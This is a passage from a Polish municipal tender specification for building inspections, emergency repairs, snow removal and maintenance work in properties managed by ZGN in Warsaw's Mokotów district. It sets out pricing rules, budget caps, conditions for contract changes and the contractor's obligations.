wykazy zawiera Rozdział IVA SIWZ, okresowych kontroli (raz w roku i sporządzania protokołów, wg art. 62 ust. 1 ustawy z dnia 7 lipca 1994 r. Prawa budowlane (tj. Dz. U. z 2019 poz. 1186 ze zm. - dalej: ustawa Prawo budowlane) polegających na sprawdzeniu stanu technicznego budynków, a w szczególności dokonywania przeglądów konstrukcji i pokrycia dachów, loggii, balkonów (w tym zanieczyszczeń ), attyk, kominów, balustrad, rynien, oszkleń, stolarki od zewnątrz, itp. elementów narażonych na niszczące wpływy atmosferyczne i niszczące działania czynników występujących podczas użytkowania, których uszkodzenia mogą powodować zagrożenie dla bezpieczeństwa osób, środowiska i konstrukcji budynku Szczegółowym sprawdzeniu należy objąć stan techniczny zewnętrznych warstw przegród zewnętrznych (warstwa fakturowa), elementów ścian zewnętrznych (attyki, filary, gzymsy), balustrad, loggii i balkonów, urządzeń zamocowanych do ścian i dachu, elementów odwodnienia budynku oraz obróbek blacharskich, pokryć dachowych, urządzeń stanowiących zabezpieczenie przeciwpożarowe budynku, elementów instalacji kanalizacyjnej odprowadzających ścieki z budynku, przejść przyłączy instalacyjnych przez ściany budynku oraz wszystkie pozostałe widoczne elementy budynku, a także estetykę budynku i jego otoczenia. W budynkach, w których w danym roku przeprowadzono przegląd 5-cio letni, nie wykonuje się przeglądów rocznych.3.1.2.2. całodobowe usuwanie awarii budowlanych i ich skutków wraz z robotami poawaryjnymi, zabezpieczanie doraźne obiektów miasta, gdy grożą awarią (z wyłączeniem instalacji) lub stwarzają zagrożenie życia i mienia,3.1.2.2.a Zamawiający wymaga aby Wykonawca przystąpił do usuwania awarii w ciągu 3-ch godzin od otrzymania telefonicznego zgłoszenia o zaistniałej awarii. Skrócenie ,,czasu przystąpienia do usunięcia zgłoszonej awarii" punktowane będzie zgodnie z zapisem pkt. 19 siwz. 3.1.3. wykonywanie remontów, tj. wykonywanie robót naprawczych wynikających z przeprowadzonych kontroli oraz wykonywanie innych robót naprawczych zgłoszonych przez DOM zarówno w odniesieniu do budynków i lokali gminnych zarządzanych i administrowanych przez ZGN oraz lokali gminnych w budynkach Wspólnot Mieszkaniowych i budynków/lokali oświaty o ile roboty w nich zostaną zlecone przez Zamawiającego, jak i urządzeń terenowych związanych z budynkami, jak mury oporowe, schody, zjazdy do garaży podziemnych, opaski budynków, śmietniki, ogrodzenia, bramy itp. oraz elementów małej architektury i budowli związanych użytkowo z tymi budynkami oraz wykonywanie drobnych napraw dróg i chodników, montaż i demontaż znaków pionowych, słupków oraz malowanie znaków poziomych. 3.1.4. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie nadmiernie nagromadzonego śniegu z dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń oraz w przypadku zagrożeń lub awarii w lokalach gminnych w budynkach Wspólnot Mieszkaniowych,3.1.5. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie zanieczyszczenia z przewodów dymowych, spalinowych i wentylacyjnych, zgłoszonych z DOM po podpisaniu umowy, 3.1.6. zgłaszanie do DOM zauważonych nieprawidłowości w zakresie stanu technicznego budynków miasta zarządzanych i administrowanych przez ZGN,3.1.7. roboty , o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2, 3.1.3. , 3.1.4., 3.1.5., SIWZ wykonywane będą na odrębne pisemne zlecenia wydawane przez DOM (stosownie do jego potrzeb) ze szczegółowym określeniem zakresu robót i ich ilości zgodnie z protokołem typowania i przedmiarem robót i ewentualnie ślepym kosztorysem oraz z określeniem terminu ich wykonania (rozpoczęcia i zakończenia). 3.1.8. Prawidłowe wykonanie robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., 3.1.4., 3.1.5., każdorazowo potwierdzane będzie protokołem odbioru końcowego przez inspektora nadzoru DOM. Wynagrodzenie za realizację robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., SIWZ wypłacane będzie Wykonawcy na podstawie faktur wystawionych w oparciu o zweryfikowane przez inspektora -DOM - kosztorysy zamienne lub powykonawcze sporządzane zgodnie z przedmiarem, ślepym kosztorysem, o ile zostanie wcześniej dostarczony przez Zamawiającego lub w oparciu o protokoły typowania, obmiary robót oraz wg cen z kosztorysu ofertowego Wykonawcy stanowiącego zał. nr 1 do oferty, a w przypadku braku tych cen na podstawie czynników cenotwórczych podanych przez Wykonawcę w ofercie -kosztorys ofertowy. Ilość roboczogodzin, materiałów i czas pracy sprzętu wyliczane będą w oparciu o kosztorys sporządzony na podstawie kosztorysu ślepego jeżeli był on dostarczony przez Zamawiającego lub w oparciu o jednostkowe nakłady określone w Normach Zakładowych ZGN w Dzielnicy Mokotów stanowiące Rozdział VII siwz oraz w katalogach nakładów rzeczowych (KNR) wydanych przez Ministra Gospodarki Przestrzennej i Budownictwa, a w przypadku braku odpowiednich nakładów rzeczowych w w/w katalogach dopuszcza się stosowanie KNR wydanych przez WACETOB. Jeżeli również w tym wydawnictwie brak jest w/w nakładów wykonywanych prac dopuszcza się stosowanie wycen indywidualnych, uwzględniających także rzeczywisty czas, każdorazowo zaakceptowanych przez inspektorów Zamawiającego i zatwierdzonych przez kierownika DOM. 3.1.8.1. Ceny każdego z materiałów - bez kosztów zakupu - w przypadku gdy dany materiał nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur. Ceny materiałów na podstawie przedłożonych przez Wykonawcę faktur nie mogą być wyższe niż 120% minimalnej ceny i jednocześnie nie wyższe niż najniższe ze średnich cen dla każdego asortymentu podawanych jako ceny materiałów z notowań w publikacjach SEKOCENBUD, IMB, IMI, IME, obowiązujące dla kwartału, w którym będą zlecane roboty. W przypadkach gdy dany materiał nie występuje w w/w publikacjach lub występuje jako cena producencka, dopuszcza się cenę na dany materiał po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed zakupem i wbudowaniem niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz Kierownik DOM zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Wyklucza się przyjmowanie cen w oparciu o dane katalogowe producentów. 3.1.8.2. Ceny pracy sprzętu - w przypadku gdy dany sprzęt nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym roboty były zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty.3.1.8.3. Roboty polegające na usuwaniu awarii, o których mowa w pkt. 3.1.2. (3.1.2.2.) SIWZ rozliczane będą w sposób opisany powyżej z tym, że nie będzie wystawione wyprzedzająco zlecenie z protokołem typowania robot, a niezwłocznie po powzięciu wiadomości przez DOM o usunięciu awarii tworzony będzie protokół konieczności potwierdzający wykonanie prac usuwających awarię i zabezpieczenie obiektu. Zamawiający ma prawo żądać do wglądu faktur za materiały i sprzęt użyty przy wykonywaniu przedmiotu zamówienia. 3.1.8.4. Roboty polegające na wykonaniu drobnych napraw remontowych i konserwacyjnych oraz usunięciu drobnych awarii, o których mowa w pkt. 3.1.2. , 3.1.3. SIWZ zawierających nie więcej niż cztery czynności ( za czynność należy rozumieć pozycje kosztorysowe) oraz wycenionych na kwotę nie wyższą niż 250 zł netto (np. wymiana zamka, zabezpieczenie okien i drzwi, asysta przy eksmisji itp.) rozliczane będą w sposób opisany powyżej z tym, że wykonawca będzie miał prawo doliczenia do nich kwoty dodatku (D) za drobne naprawy uwzględniającej wszelkie koszty organizacji robót m. innymi dojścia, zakupu materiałów, gotowości pracowników, której wartość poda w ofercie. UWAGA: Max. wartość dodatku za drobne naprawy (D) bez VAT nie może przekroczyć kwoty 100,00 zł. netto (bez VAT). 3.1.9. Odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń, rozliczane będzie w sposób następujący: 3.1.9.1.Odśnieżanie dachów i zdejmowanie sopli lodowych w zakresie pracy ludzi rozliczane będzie w oparciu o Normy Zakładowe ZGN stanowiące Rozdział VII SIWZ i będące jednocześnie załącznikiem nr 8 do umowy według stawek podanych przez Wykonawcę w formularzu oferty częściowej, a w zakresie dotyczącym sprzętu w oparciu o rzeczywisty czas pracy sprzętu każdorazowo potwierdzony przez inspektora nadzoru. 3.1.9.2.Czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będzie w oparciu o rzeczywisty czas pracy ludzi i sprzętu, każdorazowo potwierdzony przez inspektora nadzoru, według stawek podanych przez Wykonawcę w formularzu oferty częściowej. 3.1.9.3.Ceny pracy sprzętu przy zdejmowaniu sopli lodowych i czyszczeniu rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców, lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym usługi będą zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Za odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń Wykonawca będzie wystawiał odrębne faktury.3.1.10. Ewentualne usuwanie zanieczyszczeń z przewodów dymowych, spalinowych i wentylacyjnych, na zlecenie z DOM, rozliczane będzie w oparciu o podaną w formularzu oferty częściowej stawką roboczogodziny zgodnie z uwzględnieniem rzeczywistego czasu pracy ludzi. Za prace wymienione w zdaniu poprzednim Wykonawca będzie wystawiał odrębne faktury.3.1.11. Przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy budynków zawiera Rozdział IV SIWZ, okresowych kontroli rozliczane będzie na podstawie cen zaoferowanych przez Wykonawcę w wykazie budynków gminnych zarządzanych i administrowanych przez ZGN, stanowiącego Rozdział IV A siwz i ilości skontrolowanych budynków.3.1.12. Zamawiający zastrzega, że: 3.1.12.1. na wykonywanie czynności o których mowa w pkt. 3.1.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę kosztorysu ofertowego, sporządzonego na postawie przedmiaru robót stanowiącego Rozdział VI SIWZ, 3.1.12.2. na wykonywanie czynności o których mowa w pkt. 3.1.2.; 3.1.2.2., 3.1.3. , 3.1.4. i 3.1.5. siwz przeznacza kwoty z podatkiem VAT nie większe niż: 3.1.12.2.1. dla części I: DOM Służewiec - kwota 24.000,00 zł z VAT, 3.1.12.2.2. dla części II: DOM Wierzbno - kwota 26.204,82 zł z VAT 3.1.12.2.3. dla części III: DOM Wiśniowa - kwota 24.000,00 zł z VAT, 3.1.12.2.4. dla części IV: DOM Madalińskiego - kwota 36.000,00 zł z VAT 3.1.12.2.5. dla części V: DOM Konduktorska - kwota 36.049,26 zł z VAT, 3.1.12.2.6. dla części VI: DOM Polkowska - kwota 25.600,00 zł z VAT3.1.12.3. na wykonywanie czynności o których mowa w pkt. 3.1.2.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę wykazu budynków wraz z cenami za kontrolę.3.2. Zamawiający nie przewiduje udzielania zaliczek na poczet wykonania zamówienia3.3. Wykazy budynków gminnych oraz budynków Wspólnot Mieszkaniowych z lokalami gminnymi i budynków/lokali oświaty w których realizowane będą zamówienia stanowią Rozdział IV SIWZ. Wykazy budynków, o których mowa wyżej mogą ulec zmianie w zakresie wskazanych adresów budynków poprzez jednostronną czynność Zamawiającego. 3.4. Szczegółowy zakres obowiązków Wykonawcy zawarty jest w § 1, 3, 4 i 5 Istotnych postanowień umowy, które stanowią Rozdział III SIWZ.3.5.1. Czynności, o których mowa w pkt. 3.1. niniejszej specyfikacji, mają być wykonywane zgodnie z: 3.5.1.1. Dokumentacją techniczną w formie ,,ramowego" przedmiaru robót, która stanowi Rozdział VI specyfikacji istotnych warunków zamówienia, specyfikacją techniczną wykonania i odbioru robót - stanowiącą Rozdział V SIWZ,.3.5.1.2.	warunkami wynikającymi z przepisów technicznych i czynnościami wymienionymi w art. 22 Ustawy z dnia 07.07.1994 r. Prawo budowlane (tekst jednolity Dz. U. z 2018 r. poz.1202, ze zmianami) i jej przepisów wykonawczych,3.5.1.3. wymaganiami wynikającymi z aktualnych Polskich lub Europejskich Norm i aprobat technicznych, 3.5.1.4. zasadami rzetelnej wiedzy technicznej i sztuki budowlanej, 3.5.1.5. warunkami wynikającymi z Istotnych postanowień umowy stanowiących Rozdział III specyfikacji istotnych warunków zamówienia.oraz3.5.1.6. w sposób zapewniający kulturalną obsługę najemcy.3.5.2. Materiały i produkty, które będą używane do realizacji zamówienia, powinny odpowiadać wymaganiom ujętym w art. 10 ustawy Prawo budowlane i w Ustawie o wyrobach budowlanych Dz. U. z 2019 r. poz.266) i posiadać certyfikat na znak bezpieczeństwa w odniesieniu do wyrobów podlegających tej certyfikacji. Dla pozostałych materiałów, z wyłączeniem wskazanych w rozporządzeniu MSWiA z dnia 24 lipca 1998 r. w sprawie określenia wykazu wyrobów nie mającego istotnego wpływu na spełnienie wymagań podstawowych oraz wyrobów wytwarzanych i stosowanych według uznanych zasad sztuki budowlanej (Dz. U. z 1998r., Nr 99, poz.637), posiadać deklarację zgodności z dokumentem odniesienia jakim jest Polska Norma, a w przypadku jej braku krajową aprobatą techniczną (AT) lub europejską aprobatą techniczną (ETA). Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikaty i deklaracje dopuszczające wyrób do obrotu i stosowania w budownictwie. Ponadto podczas wykonywania zamówienia Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikat na znak bezpieczeństwa, deklaracje zgodności lub certyfikat zgodności z Polską Normą lub z aktualną aprobatą techniczną. 3.6. Zmiany umowy:3.6.1. Zamawiający dopuszcza możliwość wprowadzenia zmian postanowień umowy, w stosunku do treści oferty, na podstawie, której dokonano wyboru Wykonawcy w razie:3.6.1.1.	dokonywania zmian przewidzianych w SIWZ w postaci jednoznacznych postanowień umownych, określających zakres zmian, w szczególności możliwość zmiany terminu wykonania, wynagrodzenia Wykonawcy i charakteru oraz warunków ich wprowadzenia i tak w przypadku:3.6.1.1.1.	zmiany regulacji prawnych wprowadzonych w życie po dacie zawarcia umowy i mających wpływ na treść umowy wraz ze skutkami takiej zmiany regulacji prawnych,3.6.1.1.2. powierzenia Podwykonawcy wykonania całości bądź części Przedmiotu zamówienia w zakresie i na warunkach wynikających z umowy między Wykonawcą a Podwykonawcą zaakceptowanej przez Zamawiającego lub zmiany Podwykonawcy w sytuacji, gdy z przyczyn, których nie można było przewidzieć w chwili zawarcia z nim umowy dotyczącej wykonywania Przedmiotu zamówienia, koniecznym będzie dla prawidłowego jego wykonania posłużenie się przez Wykonawcę nowym Podwykonawcą, który będzie realizował część lub cały zakres robót powierzony uprzednio innemu Podwykonawcy. Jeżeli zmiana albo rezygnacja z Podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ustawy, w celu wykazania spełniania warunków udziału w postępowaniu, o których mowa w art. 22 a ust. 4 ustawy, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny Podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż wymagany w trakcie postępowania o udzielenie zamówienia i nie podlega wykluczeniu z postępowania;3.6.1.1.3. zmiany zakresu części Przedmiotu zamówienia powierzonego Podwykonawcom wynikającej z aneksów do umów zawartych przez Wykonawcę z Podwykonawcami i zaakceptowanych przez Zamawiającego w przypadku wykonywania Przedmiotu zamówienia z udziałem Podwykonawców.3.6.1.1.4.	zmiany osób uczestniczących w realizacji przedmiotu zamówienia, przy czym warunkiem dokonania takiej zamiany jest posiadanie przez nowo wskazane osoby wymaganych uprawnień, kwalifikacji i doświadczenia zgodnego z warunkami określonymi w tym zakresie w SIWZ;3.6.1.2. zaistnienia konieczności wykonania przez Wykonawcę robót dodatkowych, nieobjętych zamówieniem podstawowym (przedmiotem zamówienia), o ile stały się niezbędne, a ponadto spełnione są łącznie następujące warunki:3.6.1.2.1.zmiana Wykonawcy nie może zostać dokonana z powodów ekonomicznych lub technicznych, w szczególności dotyczących zamienności lub interoperacyjności sprzętu, robót lub instalacji zamówionych w ramach zamówienia podstawowego (przedmiotu zamówienia);3.6.1.2.2. zmiana Wykonawcy spowodowałaby istotną niedogodność lub znaczne zwiększenie kosztów dla Zamawiającego;3.6.1.2.3. wartość każdej kolejnej zmiany umowy nie przekroczy 50% wartości umowy,3.6.1.3. gdy zmiana umowy spowodowana jest okolicznościami, których Zamawiający działając z należytą starannością nie mógł przewidzieć i jednocześnie ich wartość nie przekracza 50% wartości przedmiotu zamówienia. 3.6.1.4.	gdy Wykonawcę ma zastąpić inny podmiot:3.6.1.4.1. na podstawie postanowień umownych, o których mowa w pkt. 3.6.1.1. SIWZ, 3.6.1.4.2. w wyniku połączenia, podziału, przekształcenia, upadłości, restrukturyzacji lub nabycia dotychczasowego Wykonawcy lub jego przedsiębiorstwa, o ile nowy podmiot spełnia warunki udziału w postępowaniu, nie zachodzą wobec niego podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian umowy;3.6.1.4.3. w wyniku przejęcia przez Zamawiającego zobowiązań Wykonawcy względem jego podwykonawców, o ile Wykonawca wykonuje przedmiot zamówienia z udziałem podwykonawców3.6.1.5.	zmian - niezależnie od ich wartości, jeżeli nie są one istotne w rozumieniu art. 144 ust. 1e ustawy;3.6.1.6. łączna wartość zmian jest mniejsza niż kwoty określone w przepisach wydanych na podstawie art. 11 ust. 8 ustawy i jest mniejsza niż 10 % wartości przedmiotu zamówienia; 3.6.1.7.	zmiany wysokości wynagrodzenia w przypadku:3.6.1.7.1. zmiany stawki podatku od towarów i usług;3.6.1.7.2. zmiany wysokości minimalnego wynagrodzenia za pracę albo wysokości minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu o pracę (tj. Dz. U. z 2017 r. poz. 847);3.6.1.7.3. zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, na zasadach i w sposób opisany w § 15 istotnych postanowień umowy -Rozdział III SIWZ3.6.2. Z wyjątkiem zamian określonych w § 1 ust. 3, 4 i 5 4 ust. 4, 10 i 11 oraz w § 8 ust. 5 istotnych postanowień umowy -Rozdział III SIWZ, wszelkie inne zmiany umowy zawartej w wyniku rozstrzygnięcia przedmiotowego postępowania wymagają sporządzenia aneksu do umowy w formie pisemnej pod rygorem nieważności.3.6.3. W przypadkach, o których mowa w pkt. 3.6.1.2., 3.6.1.3. oraz 3.6.1.4. ppkt. 3.6.1.4.2. SIWZ Zamawiający nie wprowadzi kolejnych zmian umowy w celu uniknięcia stosowania przepisów ustawy Prawo zamówień publicznych.3.6.4. W przypadkach, o których mowa w pkt. 3.6.1.1., 3.6.1.3. i 3.6.1.6. SIWZ zmiany postanowień umowy nie mogą prowadzić do zmiany charakteru umowy.3.6.5. Wynagrodzenie dla Wykonawcy za wykonanie robót mieszczących się w zakresie, o którym mowa w pkt. 3.6.1.2, 3.6.1.3. i 3.6.1.6. SIWZ obliczone będzie wg zasad przyjętych w niniejszej umowie i kwot zawartych w ofercie. 3.6.6. Zamawiający zastrzega sobie możliwość zmiany wykazu budynków stanowiących Rozdział IV siwz.3.6.7. Zamawiający zastrzega sobie możliwość zmiany lub uzupełnienia o nowe pozycje Norm Zakładowych Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów m. st. Warszawy, które stanowią Rozdział VII siwz.3.6.8. Na etapie realizacji umowy Zamawiający zastrzega sobie możliwość dokonania zmiany przedmiaru robót stanowiącego Rozdział VI SIWZ, w zakresie ilości robót i ich rodzajów wyszczególnionych w poszczególnych pozycjach, co skutkować będzie zmianą kosztorysu zamiennego/powykonawczego Wykonawcy , z zastrzeżeniem, że zmiana ta nie może prowadzić do zwiększenia zaoferowanej przez Wykonawcę w kosztorysie ofertowym ceny.3.7.	Wykonawca zobowiązany będzie do: 3.7.1. posiadania opłaconej polisy lub innego dokumentu ubezpieczenia na kwotę nie niższą niż równowartość 100.000 złotych polskich, potwierdzającego, że jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności gospodarczej, w tym w zakresie przedmiotu zamówienia; 3.7.2. wniesienia zabezpieczenia należytego wykonania umowy na zasadach określonych w pkt. 22 SIWZ; 3.7.3. udzielenia gwarancji na wykonane przez siebie roboty na czas minimum 36 miesięcy od daty odbioru. Warunki gwarancji zawierają Istotne postanowienia umowy stanowiące Rozdział III SIWZ - wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy stanowi kryterium oceny ofert i punktowane będzie w sposób opisany w pkt. 19 SIWZ; 3.7.4. przedłożenia Zamawiającemu do zatwierdzenia harmonogramu kontroli (przeglądów), o których mowa w pkt. 3.1.1. SIWZ, w ciągu 7 dni kalendarzowych po podpisaniu umowy;3.7.5. zgłaszania się w okresie obowiązywania umowy, zawartej w wyniku rozstrzygnięcia niniejszego postępowania, w dni robocze w godzinach 7-15 niezwłocznie po otrzymaniu telefonicznego wezwania lub po wcześniejszym kontakcie wykonawcy z Zamawiającym w celu pobierania zleceń;. 3.7.6. pełnienia całodobowo usług pogotowia i dyżuru pod numerem telefonu, na który będą mogły być całodobowo zgłaszane przestoje i usterki budowlane w trakcie realizacji umowy zawartej w wyniku rozstrzygnięcia niniejszego postępowania; Numer telefonu będzie podany na piśmie dla danego DOM przez Wykonawcę w dacie podpisania umowy. 3.7.7. podpisania umowy na wykonywanie robót mających na celu utrzymanie sprawności technicznej elementów budynków zgodnych w zakresie określonym w pkt od 3.1.1. do 3.1.10. SIWZ na warunkach określonych w złożonej i przyjętej ofercie w budynkach Wspólnot Mieszkaniowych (które wyrażą na to zgodę) wyszczególnionych w Rozdziale IV B SIWZ: 3.7.7.1. warunki gwarancji i wykonania zamówienia w budynkach Wspólnot Mieszkaniowych będą zgodne z warunkami określonymi w niniejszej specyfikacji oraz w istotnych postanowieniach umowy, stanowiących Rozdział III SIWZ, 3.7.7.2. Wykonawca zobowiązany będzie do wystawienia faktur za roboty wykonane w budynkach Wspólnot Mieszkaniowych, o których mowa w pkt. 3.7.7. SIWZ, podmiotom, na rzecz których roboty będzie wykonywał, 3.8. Zaoferowana przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - maksymalna stawka roboczogodziny kosztorysowej nie może przekroczyć średniej warszawskiej określonej w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. dla robót budowlanych: R netto = 21,93 zł. i R brutto = 38,26 zł. Stawka roboczogodziny kosztorysowej brutto obejmuje wartość stawki roboczogodziny kosztorysowej netto powiększonej o narzut kosztów pośrednich i zysk kalkulacyjny [Rbrutto = (Rnetto + Kp + Z)]. Wykonawca musi wpisać oferowane stawki roboczogodziny kosztorysowej Rnetto i Rbrutto, Kp i Z w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej. 3.9.	Zaoferowany przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - wskaźnik narzutu kosztów zakupu materiałów (Wkz) - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - nie może być wyższy niż średni warszawski określony w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. tj. dla robót budowlanych i wynoszący Wkz = 4,4 %. Wykonawca musi wpisać oferowane Wkz w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej.3.10.	Zaoferowana przez Wykonawcę cena (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy każdego z budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w przeliczeniu na 1m3 kubatury budynku za jeden przegląd nie może przekraczać 0,10 złotego (bez VAT), przy czym cena za jeden przegląd każdego pojedynczego budynku nie może być niższa niż 1 zł ( bez VAT). Wykonawca musi wpisać ceny w kol. 11 wykazów budynków gminnych, zarządzanych i administrowanych przez ZGN, stanowiących Rozdział IV A SIWZ, nie wyższe niż 0,10 zł/m3 (bez VAT) kubatury budynku za przegląd każdego budynku gminnego zarządzanych i administrowanych przez ZGN, przy czym cena za jeden przegląd każdego pojedynczego ww. budynku nie może być niższa niż 1zł ( bez VAT). Suma wszystkich cen wymienionych w kolumnie 11 pod nazwą ,,Cena za przegląd każdego budynku wyszczególnionego w kol. 2 wg terminów wyszczególnionych w kol. 12" musi być umieszczona we wzorze formularza oferty częściowej w pkt. 1 c jako ,,suma cen (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy, dla wszystkich budynków gminnych zarządzanych i administrowanych przez ZGN w 2020 r. w DOM (dla którego składana jest oferta częściowa). Ponadto w w/w pkt. 1 c należy wpisać kwotę podatku VAT oraz sumę cen (z VAT) za dokonywane co 12 miesięcy całoroczne przeglądy [P] budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w DOM, dla którego składana jest oferta częściowa. W 2019 r nie będzie przeglądów.3.11.	Dla realizacji przedmiotu zamówienia, na czas obowiązywania umowy, która zostanie zawarta w wyniku rozstrzygnięcia przedmiotowego postępowania, istnieje możliwość wynajęcia od zamawiającego pomieszczeń na zaplecze techniczne po stawkach strefowych na zasadach przyjętych przez m. st. Warszawę ZGN w Dzielnicy Mokotów. 3.11.1. Część 1: brak pomieszczeń.3.11.2. Część 2 : brak pomieszczeń.3.11.3. część 3 - brak pomieszczeń 3.11.4. Część 4 : dla DOM ,,Madalińskiego" : ul. Wiśniowej 35 wiata w podwórku o pow. 47,26 m2, wyposażone w energię elektryczną,3.11.5. Część 5 : dla DOM ,,Konduktorska": pomieszczenia wyposażone w instalację elektryczną przy ul. Konduktorskiej 12, - wiata blaszana nr 1 o pow. 24,89 m2, - wiata blaszana nr 2 o pow. 19,89 m2, - wiata blaszana nr 5 o pow. 11,04 m2, - wiata blaszana nr 6 o pow. 15,45 m2 - wiata blaszana nr 7 o pow. 15,40 m2,- pomieszczenie piwniczne wyposażone w energię elektryczna o pow. 11,70 m2. 3.11.6. Część 6 : dla DOM ,,Polkowska":- pomieszczenie gospodarcze w piwnicy budynku biurowego DOM, pow. 15,68 m2, wyposażone w co i elektryczność, - wiata na podwórku wyposażona w elektryczność o pow. 100,28 m2 , - garaż na podwórku wyposażony w elektryczność o powierzchni 30,00 m2,możliwość korzystania z w.c. ogólnego w budynku biurowym DOM. Stawki czynszu dla wszystkich w/w lokali będą naliczone - wg obowiązujących w ZGN Mokotów na dzień podpisania umowy. 3.12. Wykonawca musi mieć zatrudnione na podstawie umowy o pracę, w rozumieniu przepisów ustawy z dnia 26 czerwca 1974 r. -Kodeks pracy (Dz. U. z 2019 r., poz. 9171040 z późn. zm.). osoby wykonujące wszystkie czynności będące przedmiotem zamówienia dotyczące wykonywania wszystkich robót remontowych zapewniających stałe utrzymanie w ruchu budynków oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków, wyszczególnione w opisie przedmiotu zamówienia w pkt. 3.1. SIWZ, z wyjątkiem przypadków prawem wyłączonych. Obowiązek zatrudnienia na podstawie w/w umowy o pracę nie dotyczy osób, które będą pełniły funkcję kierownika/kierowników robót objętych zamówieniem oraz będą wykonywały przeglądy roczne budynków, które mogą być zatrudnione przez Wykonawcę w ramach stosunków prawnych dopuszczonych przez prawo. Obowiązek, o którym mowa w zdaniu pierwszym, dotyczy również podwykonawców realizujących zamówienie, na zasoby których Wykonawca się powołuje oraz innych podmiotów uczestniczących w wykonaniu zamówienia, na zasoby których Wykonawca się powołuje.3.13. W odniesieniu do wykonywania robót budowlanych wymagających ustanowienia kierownika robót oraz do wykonywaniu przeglądów budowlanych rocznych objętych zamówieniem Wykonawca zobowiązany jest zapewnić do nadzorowania robót budowlanych i wykonania przeglądów osobę posiadającą uprawnienia budowlane wymagane ustawą prawo budowlane, - do kierowania robotami, a w przypadku przeglądów dodatkowo do kontrolowania i oceny stanu technicznego elementów konstrukcyjnych w specjalności konstrukcyjno-budowlanej w zakresie niezbędnym do realizacji przedmiotu zamówienia lub odpowiedni dokument stwierdzający przygotowanie zawodowe do wykonywania powyższych czynności oraz wpis na listę członków właściwej izby samorządu zawodowego. 3.14 . Zamawiający przewiduje możliwość udzielenia zamówień podobnych, o których mowa w art. 67 ust. 1 pkt. 6 ustawy w 